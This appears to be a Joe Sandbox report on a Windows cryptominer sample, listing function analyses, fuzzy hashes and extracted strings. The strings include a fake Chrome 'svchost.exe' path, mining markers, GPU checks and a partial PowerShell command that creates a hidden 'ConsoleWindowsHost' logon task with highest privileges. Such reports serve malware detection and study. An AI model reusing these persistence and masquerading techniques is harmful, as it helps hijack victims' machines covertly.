Snapshot File: hcaresult_56_2_106d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd84ec1f20cca06a8701c4f0afcd3a85387a7ef471344e773cf9bd6f08e21658
Instruction ID: 0538a9500e6572dbb0804a1f0e613110fb831b5b881a5de3d9c152101fbfb688
Opcode Fuzzy Hash: fd84ec1f20cca06a8701c4f0afcd3a85387a7ef471344e773cf9bd6f08e21658
Instruction Fuzzy Hash: 03214270204200DFEB11DF58D980B2ABFA9EB84314F20C5ADE8C94B246C33AC447CBA1

Function 0106D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2072297827.000000000106D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0106D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_106d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2150fcba881ef0c6bfcaadb8d2eb3c72bc8408d4ebbc8c4d626157ed0a284fdc
Instruction ID: 5ce449c8d2257d684d192d23ca73be40598b86abc3a0f606c6a6d1c53e5e58c2
Opcode Fuzzy Hash: 2150fcba881ef0c6bfcaadb8d2eb3c72bc8408d4ebbc8c4d626157ed0a284fdc
Instruction Fuzzy Hash: 802192755093808FDB13CF64D994B15BFB1EB46214F28C5DAD8898F667C33A980ACB62

Function 0105D4D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2071407373.000000000105D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0105D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_105d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce69cba98bfff612cefda2c4877fe7df6cc59bd7a6ce96c012d28fad0f514114
Instruction ID: 7518c35c8964c99ecdf7110105d52660a6dfdf3b72cb5d5fd4410e61d730d49b
Opcode Fuzzy Hash: ce69cba98bfff612cefda2c4877fe7df6cc59bd7a6ce96c012d28fad0f514114
Instruction Fuzzy Hash: E0110372404280CFDB46CF44D9C4B16BFB1FB84318F24C6AADD490B216C33AD45ACBA1

Analysis Process: conhost.exePID: 7756, Parent PID: 2580COMMON

Executed Functions

Function 00007FF6D68B85C0 Relevance: 55.0, APIs: 15, Strings: 21, Instructions: 995
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF6D68B86FB
memset.MSVCRT ref: 00007FF6D68B886E
memset.MSVCRT ref: 00007FF6D68B8A03
memset.MSVCRT ref: 00007FF6D68B8ACF
memset.MSVCRT ref: 00007FF6D68B8C71
memset.MSVCRT ref: 00007FF6D68B8E5E
memset.MSVCRT ref: 00007FF6D68B9004
memset.MSVCRT ref: 00007FF6D68B90D1
_wcsicmp.MSVCRT ref: 00007FF6D68B945D
memcpy.MSVCRT ref: 00007FF6D68B94B3
memcpy.MSVCRT ref: 00007FF6D68B94D7

Part of subcall function 00007FF6D68A2990: memset.MSVCRT ref: 00007FF6D68A29BE

memcpy.MSVCRT ref: 00007FF6D68B9764
memcpy.MSVCRT ref: 00007FF6D68B978E
memcpy.MSVCRT ref: 00007FF6D68B994E
memcpy.MSVCRT ref: 00007FF6D68B9976

Strings

\cmd.exe, xrefs: 00007FF6D68B8A29, 00007FF6D68B8AA0
e; }, xrefs: 00007FF6D68B99A4
\Google\Chrome\svchost.exe, xrefs: 00007FF6D68B8CCB, 00007FF6D68B8E3C
%S <#lygkxs#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest , xrefs: 00007FF6D68B995F, 00007FF6D68B9997, 00007FF6D68B99FC
\System32, xrefs: 00007FF6D68B8899, 00007FF6D68B89E1
\Google\Libs\, xrefs: 00007FF6D68B8E98, 00007FF6D68B8FDA
SYSTEMROOT=, xrefs: 00007FF6D68B8933
%S /run /tn "ConsoleWindowsHost", xrefs: 00007FF6D68B93A9
APPDATA=, xrefs: 00007FF6D68B8F57
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ConsoleWindowsHost, xrefs: 00007FF6D68B977A, 00007FF6D68B97B3, 00007FF6D68B991E
eth, xrefs: 00007FF6D68B9371
\BaseNamedObjects\xmekvswlr, xrefs: 00007FF6D68B8700
\schtasks.exe, xrefs: 00007FF6D68B910B, 00007FF6D68B91AD
0, xrefs: 00007FF6D68B8806
\reg.exe, xrefs: 00007FF6D68B9031, 00007FF6D68B90A8
xmr, xrefs: 00007FF6D68B9382
5RK\E, xrefs: 00007FF6D68B8E63
APPDATA=, xrefs: 00007FF6D68B8DB4
\BaseNamedObjects\wqhuxjyrrhclgfix, xrefs: 00007FF6D68B9245
\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00007FF6D68B8B41, 00007FF6D68B8C45
\BaseNamedObjects\xmekvswlr, xrefs: 00007FF6D68B8631

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: memset$memcpy$_wcsicmpwcslen
String ID: %S /run /tn "ConsoleWindowsHost"$%S <#lygkxs#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest $0$5RK\E$APPDATA=$APPDATA=$SYSTEMROOT=$\BaseNamedObjects\wqhuxjyrrhclgfix$\BaseNamedObjects\xmekvswlr$\BaseNamedObjects\xmekvswlr$\Google\Chrome\svchost.exe$\Google\Libs\$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ConsoleWindowsHost$\System32$\WindowsPowerShell\v1.0\powershell.exe$\cmd.exe$\reg.exe$\schtasks.exe$e; }$eth$xmr
API String ID: 1321921031-3228284830
Opcode ID: ed9d48e6f222f99e7f75c99446f07b154cff4483767d1b2dd1d8d1b0cf796335
Instruction ID: 4ea9b3248b666a645d8e0f7846f8cf5080e07629235d0b14ac583494122bc071
Opcode Fuzzy Hash: ed9d48e6f222f99e7f75c99446f07b154cff4483767d1b2dd1d8d1b0cf796335
Instruction Fuzzy Hash: 0FD27361C1C6C296F7225B2DE4426FD67A0BF92380F455333DD8D926A2DF2FA166C324

Function 00007FF6D68A1180 Relevance: 12.2, APIs: 8, Instructions: 195
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00007FF6D68A11E1
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6D68A1253
malloc.MSVCRT ref: 00007FF6D68A1307
strlen.MSVCRT ref: 00007FF6D68A1329
malloc.MSVCRT ref: 00007FF6D68A1335
memcpy.MSVCRT ref: 00007FF6D68A1349
GetStartupInfoA.KERNEL32 ref: 00007FF6D68A1453

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandledmemcpystrlen
String ID:
API String ID: 649803965-0
Opcode ID: 71b5c81f43e52fd828f1680ead49c0dbef4bd44f10060a1c5c891d567f8a8ae7
Instruction ID: 42a3f36845b6865dceea06ae144689fb64347cec80781a5fceba65677220fc35
Opcode Fuzzy Hash: 71b5c81f43e52fd828f1680ead49c0dbef4bd44f10060a1c5c891d567f8a8ae7
Instruction Fuzzy Hash: CA814876E0964685FB609F59E450BBD33A1AF49B85F444037DE8EC33D2DE2EE8658320

Function 00007FF6D68A1720 Relevance: 31.8, APIs: 10, Strings: 8, Instructions: 341
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF6D68A191D
memset.MSVCRT ref: 00007FF6D68A19F0

Strings

%S <#lygkxs#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest , xrefs: 00007FF6D68A1726
0, xrefs: 00007FF6D68A1963
`, xrefs: 00007FF6D68A1C77
xmr, xrefs: 00007FF6D68A1720
%S /run /tn "ConsoleWindowsHost", xrefs: 00007FF6D68A1722
explorer.exe, xrefs: 00007FF6D68A1916
X, xrefs: 00007FF6D68A1CB1
\??\, xrefs: 00007FF6D68A1A9F

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: memsetwcsncmp
String ID: %S /run /tn "ConsoleWindowsHost"$%S <#lygkxs#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest $0$X$\??\$`$explorer.exe$xmr
API String ID: 1181335886-3936947282
Opcode ID: 72e7b944cda356ccab0f4163c564e30ce8a089a17b306c5e72144ca181880bd9
Instruction ID: b1942fa6190c10a8edb5dfba1e036ecaf330a2400478eb5a73554de3f6e5196f
Opcode Fuzzy Hash: 72e7b944cda356ccab0f4163c564e30ce8a089a17b306c5e72144ca181880bd9
Instruction Fuzzy Hash: 5C027D22D18BC186E7218B29E4007AE77A0FB857A4F005336DEAD97AD5DF3ED195CB10

Function 00007FF6D68A2990 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF6D68A29BE

Part of subcall function 00007FF6D68A1720: wcsncmp.MSVCRT ref: 00007FF6D68A191D

Strings

\BaseNamedObjects\wqhuxjyrrhclgfix, xrefs: 00007FF6D68A2990
eth, xrefs: 00007FF6D68A2999

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: memsetwcsncmp
String ID: \BaseNamedObjects\wqhuxjyrrhclgfix$eth
API String ID: 1181335886-1748801357
Opcode ID: 3cec96f5b6fe9c1e0d718cdb522f5301e988878a6b55233e939217597fee7acf
Instruction ID: 414be25596003d1422b336bc24d1521ff4e2e5f63825e1d0d8863e5faf793ad6
Opcode Fuzzy Hash: 3cec96f5b6fe9c1e0d718cdb522f5301e988878a6b55233e939217597fee7acf
Instruction Fuzzy Hash: 1401E522F1864141E330D616E800BEEA661AB86BD0F544236FECD53BD9DE7DE156C714

Function 00007FF6D68A2A50 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF6D68A2A7C

Strings

0, xrefs: 00007FF6D68A2AA8
eth, xrefs: 00007FF6D68A2A50

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: wcslen
String ID: 0$eth
API String ID: 4088430540-242559905
Opcode ID: f74c1e0205a4425754c71729f2568980e9605874d7e0dc2ad41c45750a7f0511
Instruction ID: daa69238bc4c7f308db12ce6e0b2e8d180911d8839a7af3181fd83222787979f
Opcode Fuzzy Hash: f74c1e0205a4425754c71729f2568980e9605874d7e0dc2ad41c45750a7f0511
Instruction Fuzzy Hash: CE01D222A1869086E7208B54F85079FB770EFC4368F640336FB9C86AD5EF7EC5918B40

Non-executed Functions

Function 00007FF6D68A3F40 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d3a6bd0b90a72bb3ebf491c3b8390b68c216c5f6876ae65ed73438912ba1751
Instruction ID: a6e2dafec08ad7f273b8a33d085be2baebe1567b7249d1a6b532c71aec194a21
Opcode Fuzzy Hash: 3d3a6bd0b90a72bb3ebf491c3b8390b68c216c5f6876ae65ed73438912ba1751
Instruction Fuzzy Hash: 0DE0B676A08B84918614DB52F48045EBB64F7D97C4B504916FECC53B19CF3CC1A08B50

Function 00007FF6D68A1EA0 Relevance: 37.2, APIs: 9, Strings: 12, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 00007FF6D68A1F2B
wcslen.MSVCRT ref: 00007FF6D68A2090
memcpy.MSVCRT ref: 00007FF6D68A20AF
memcpy.MSVCRT ref: 00007FF6D68A20D0
wcslen.MSVCRT ref: 00007FF6D68A2343

Strings

0, xrefs: 00007FF6D68A255C
@, xrefs: 00007FF6D68A2489
ProviderName, xrefs: 00007FF6D68A2437
\Registry\Machine\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\, xrefs: 00007FF6D68A20A1
NVIDIA, xrefs: 00007FF6D68A2686
$0', xrefs: 00007FF6D68A26AC
APPDATA=, xrefs: 00007FF6D68A1EA6
Advanced Micro Devices, xrefs: 00007FF6D68A28FC
AMD, xrefs: 00007FF6D68A270C
\Registry\Machine\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\, xrefs: 00007FF6D68A1EE9
ProviderName, xrefs: 00007FF6D68A233C
ATI, xrefs: 00007FF6D68A2792

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: memcpy$wcslen
String ID: $0'$0$@$AMD$APPDATA=$ATI$Advanced Micro Devices$NVIDIA$ProviderName$ProviderName$\Registry\Machine\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\$\Registry\Machine\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\
API String ID: 1844840824-1300809496
Opcode ID: e3c32df8036ee57604a361df138a59f6e45f3ff775bb6656f43f7e262d54461d
Instruction ID: efec8a268dbc02ea893790acc34cccf91054530726e250c3fd7a44aab5cc5ec8
Opcode Fuzzy Hash: e3c32df8036ee57604a361df138a59f6e45f3ff775bb6656f43f7e262d54461d
Instruction Fuzzy Hash: 3E526420D2CAC256FB12DB29E4517FDA360BF91384F055333D98DA16A1EF2FA166C724

Function 00007FF6D68AEE40 Relevance: 31.7, APIs: 21, Instructions: 232
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00007FF6D68AEE5B
memcpy.MSVCRT ref: 00007FF6D68AEE7B
malloc.MSVCRT ref: 00007FF6D68AEE95
memset.MSVCRT ref: 00007FF6D68AEEBF
abort.MSVCRT ref: 00007FF6D68AEED2
CreateSemaphoreW.KERNEL32 ref: 00007FF6D68AEEFB
TlsAlloc.KERNEL32 ref: 00007FF6D68AEF08
GetLastError.KERNEL32 ref: 00007FF6D68AEF30
abort.MSVCRT ref: 00007FF6D68AEF38

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: abortmalloc$AllocCreateErrorLastSemaphorememcpymemset
String ID:
API String ID: 342303811-0
Opcode ID: 85fac38ae522e21316106aed78488c672620c796fbf0e98209ea9b4b241157f7
Instruction ID: 71b9d3b1db0b676ee188711e86c3cf1b31ef00ecfe15386cbff52fd4a115fb10
Opcode Fuzzy Hash: 85fac38ae522e21316106aed78488c672620c796fbf0e98209ea9b4b241157f7
Instruction Fuzzy Hash: 38919E32E0970281EB559F29E804A7D32A1AF44B84F58853BDD1E877D0DF7EE862D360

Function 00007FF6D68B76F0 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 102
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fwrite.MSVCRT ref: 00007FF6D68B77EC

Part of subcall function 00007FF6D68AD100: strlen.MSVCRT ref: 00007FF6D68AD185
Part of subcall function 00007FF6D68AD100: memcpy.MSVCRT ref: 00007FF6D68AD19E
Part of subcall function 00007FF6D68AD100: free.MSVCRT ref: 00007FF6D68AD1A9

fwrite.MSVCRT ref: 00007FF6D68B7768
fputs.MSVCRT ref: 00007FF6D68B7782
fwrite.MSVCRT ref: 00007FF6D68B77A3
free.MSVCRT ref: 00007FF6D68B77B3
fputs.MSVCRT ref: 00007FF6D68B77C5
abort.MSVCRT ref: 00007FF6D68B77F1
fwrite.MSVCRT ref: 00007FF6D68B7816
abort.MSVCRT ref: 00007FF6D68B781B
fwrite.MSVCRT ref: 00007FF6D68B7856
fputs.MSVCRT ref: 00007FF6D68B7868
fputc.MSVCRT ref: 00007FF6D68B787C

Strings

terminate called without an active exception, xrefs: 00007FF6D68B77E2
terminate called after throwing an instance of ', xrefs: 00007FF6D68B775E
what(): , xrefs: 00007FF6D68B784F
terminate called recursively, xrefs: 00007FF6D68B780C

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: fwrite$fputs$abortfree$fputcmemcpystrlen
String ID: what(): $terminate called after throwing an instance of '$terminate called recursively$terminate called without an active exception
API String ID: 802779101-808685626
Opcode ID: 7a0d0e86b158a8b2a6229439966cc07d4798ec1896ed5a95fc01cbd5affc896b
Instruction ID: e39ce96d14230c7fede05d979347a3f631d7e0b95fa6b406abcfd5aa3373955a
Opcode Fuzzy Hash: 7a0d0e86b158a8b2a6229439966cc07d4798ec1896ed5a95fc01cbd5affc896b
Instruction Fuzzy Hash: 7141C010F1921745FA14A77AA8297BE26559F86B80F44403BDA0EC77C3DE2FE5618732

Function 00007FF6D68AE8F0 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RaiseException.KERNEL32 ref: 00007FF6D68AE9BE
abort.MSVCRT(?,?,?,?,?,?,00000060,?,?,?,00000000,00000000,00007FF6D68B8575), ref: 00007FF6D68AE9C4
RtlUnwindEx.KERNEL32 ref: 00007FF6D68AEADD

Strings

CCG!, xrefs: 00007FF6D68AE91A
CCG!, xrefs: 00007FF6D68AE9B1
CCG , xrefs: 00007FF6D68AE957
CCG", xrefs: 00007FF6D68AE929

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: ExceptionRaiseUnwindabort
String ID: CCG $CCG!$CCG!$CCG"
API String ID: 4140830120-3707373406
Opcode ID: 2aafb9967443909bfa9316e4b939b2f244aac7ef74ad9229c0f94810070b0ad2
Instruction ID: e07617114b70129f3f6afd303f9dd707a4e5cfda1306e68644367a8f92660e88
Opcode Fuzzy Hash: 2aafb9967443909bfa9316e4b939b2f244aac7ef74ad9229c0f94810070b0ad2
Instruction Fuzzy Hash: 8B519F32A08B8182E7608B15E448BAD7370F789B94F545636EF8D53798DF3ED5A1C710

Function 00007FF6D68AC2E0 Relevance: 15.3, APIs: 4, Strings: 6, Instructions: 346
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strncmp.MSVCRT ref: 00007FF6D68AC324
strlen.MSVCRT ref: 00007FF6D68AC42E

Strings

Z, xrefs: 00007FF6D68AC4F8
_, xrefs: 00007FF6D68AC6BC
_, xrefs: 00007FF6D68AC379
_GLOBAL_, xrefs: 00007FF6D68AC31D
_, xrefs: 00007FF6D68AC4EB
Z, xrefs: 00007FF6D68AC387

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: strlenstrncmp
String ID: Z$Z$_$_$_$_GLOBAL_
API String ID: 1310274236-662103887
Opcode ID: 849a9cd468cdb9fcfdd473f9fae928589d1e1c559bbc51fb35f18c5fb1cc65d6
Instruction ID: dde75d1bc99ad3f740b84200ed4718d64c22dcc60458bd0db199997c8f61c8d1
Opcode Fuzzy Hash: 849a9cd468cdb9fcfdd473f9fae928589d1e1c559bbc51fb35f18c5fb1cc65d6
Instruction Fuzzy Hash: A8E1DF72E08A8289E7208F3598047FD3BE1BB05758F444136DE9C9B7C9DF3E96629760

Function 00007FF6D68ADB76 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

signal.MSVCRT ref: 00007FF6D68ADBDD
signal.MSVCRT ref: 00007FF6D68ADC29
signal.MSVCRT ref: 00007FF6D68ADC42
signal.MSVCRT ref: 00007FF6D68ADD4A

Strings

CCG , xrefs: 00007FF6D68ADB95

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
